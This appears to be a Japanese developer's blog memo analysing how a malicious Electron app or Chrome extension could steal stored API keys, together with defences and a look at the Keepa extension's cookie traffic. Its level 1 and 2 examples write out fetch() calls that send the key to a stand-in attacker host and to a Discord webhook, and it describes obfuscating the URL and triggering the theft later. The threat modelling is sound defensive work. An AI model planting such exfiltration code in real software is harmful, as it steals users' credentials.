• #Electron
  • #security
  • #Chrome拡張
  • #asar
  • #Keepa
  • #脅威モデル
開発misc-devメモ

Electronアプリのセキュリティ分析 ― APIキー窃取とChrome拡張の脅威モデル

自作のElectronアプリ(即録くん)で、APIキーをelectron-storeに保存している。ふと「悪意ある開発者がこの仕組みを使ったら、ユーザーのAPIキーを盗めるのでは?」と手が止まった。そこからElectronとChrome拡張のセキュリティを掘り下げた記録。

asarを展開するとソースコードが丸見えになる

Electronアプリの実体はapp.asarというアーカイブに格納されている。これを展開すると、JavaScriptのソースコードがそのまま読める。

npx asar extract app.asar ./extracted
# → extracted/ にJSファイルが全て展開される

つまり、開発者がAPIキーを外部に送信するコードを仕込んでいても、展開すれば発見できる。逆に言えば、展開して読まない限り気づけない。

APIキー窃取の4段階 ― 検出難度が段階的に上がる

悪意ある開発者がelectron-storeのAPIキーを盗む方法を、検出の難しさ順に整理した。

レベル1: 直接送信

fetch("https://evil-server.example.com/steal", {
  body: JSON.stringify({ key: store.get("apiKey") })
});

自前サーバーにPOSTする。Wiresharkで通信先IPを見ればすぐバレる。しかも攻撃者側もサーバーのIPから足がつく。

レベル2: 正規サービスを踏み台にする

fetch("https://discord.com/api/webhooks/xxxx/yyyy", {
  body: JSON.stringify({ content: store.get("apiKey") })
});

Discord WebhookやSlack Webhookを経由する。通信先がdiscord.comになるため、ネットワーク監視で「正規の通信」に見える。検出が一気に難しくなる。

レベル3: URL難読化

送信先URLをBase64エンコードして埋め込む。ソースコードを目視しても、どこに送っているか分からない。

レベル4: 条件付き実行

特定の日時が過ぎてから送信を開始する、あるいは特定の条件(ユーザー数が一定を超えたら等)でトリガーする。コードレビュー時点では発火せず、後から動き出す。

防御策

  • Wireshark: 実際の通信を監視する。レベル1は捕まるが、レベル2以降は通信先だけでは判断できない
  • CSP(Content Security Policy): electron-builderでCSPヘッダーを設定し、許可した宛先以外への通信をブロックする
  • asar展開レビュー: インストール前にasarを展開してソースを読む。ただし現実的には毎回やる人は少ない

Chrome拡張に話が広がる ― Keepaを実際に分析した

Electronアプリと同じ構造がChrome拡張にも当てはまる。Chrome拡張もJavaScriptで書かれていて、ソースを読める。ストア審査はあるが、難読化されたコードの中身まで審査が追いつかないケースがある。

ここで「難読化」と「圧縮(minify)」の違いが気になった。minifyは可読性を犠牲にしてファイルサイズを減らすだけで、prettierで整形すれば読める。難読化は意図的にロジックを隠す。Chrome拡張で難読化を使うと、審査でリジェクトされる可能性がある。

Keepa拡張を展開してみた

Amazonの価格追跡で有名なKeepa拡張を実際に展開して、manifest.jsonの権限と通信内容を確認した。

要求している権限:

  • tabs ― 開いているタブの情報にアクセス
  • webRequest ― ネットワークリクエストを傍受
  • cookies ― ブラウザのCookieを読み取り

観察した挙動:

AmazonのセッションCookieがKeepaのサーバーに送信されていた。これは技術的にはAmazonのセッション乗っ取りが可能な状態を意味する。

Codex(GPT-5.4)にレビューを依頼した

「Keepaは意図的にセッションを盗んでいるのか?」をCodexに分析させた。結論は「意図的な窃取ではなく、Amazon価格データの取得に必要なCookieを送っている可能性が高い」。Keepaのビジネスモデル(価格追跡サービス)を考えると、Amazonにログイン状態でリクエストを投げないと取得できないデータがある。

ただし、技術的には可能な状態であることに変わりはない。信頼するかどうかはユーザー側の判断になる。

攻撃者にとっても自前サーバーはリスク

面白いのは、攻撃者側もリスクを抱えている点だ。自前サーバーで盗んだデータを受け取ると、そのサーバーのIPアドレスから攻撃者が特定される。だからレベル2(Discord Webhook等)のように、既存サービスを踏み台にする手法が使われる。攻撃者と防御者の両方が「IPから足がつく」ことを意識して動いている。

SAC(Smart App Control)の存在

Windows 11のSAC(Smart App Control)は、署名のないexeファイルを完全にブロックする。自作Electronアプリのような未署名バイナリは実行できない。一度SACをオフにすると不可逆(再度オンにできない)という仕様で、セキュリティと利便性のトレードオフが鮮明に出ている。

学んだこと

  • ElectronもChrome拡張も「JavaScriptが読める」という同じ構造を持つ。ソースを読めば攻撃コードを発見できるが、難読化・条件付き実行で検出難度は跳ね上がる
  • 「通信先が正規ドメインだから安全」とは言えない。Discord WebhookのようにC2チャネルとして使われるパターンがある
  • Keepaの分析を通じて、「権限が広い=悪意がある」とは限らないが、「技術的に何ができるか」は把握しておくべきだと腹落ちした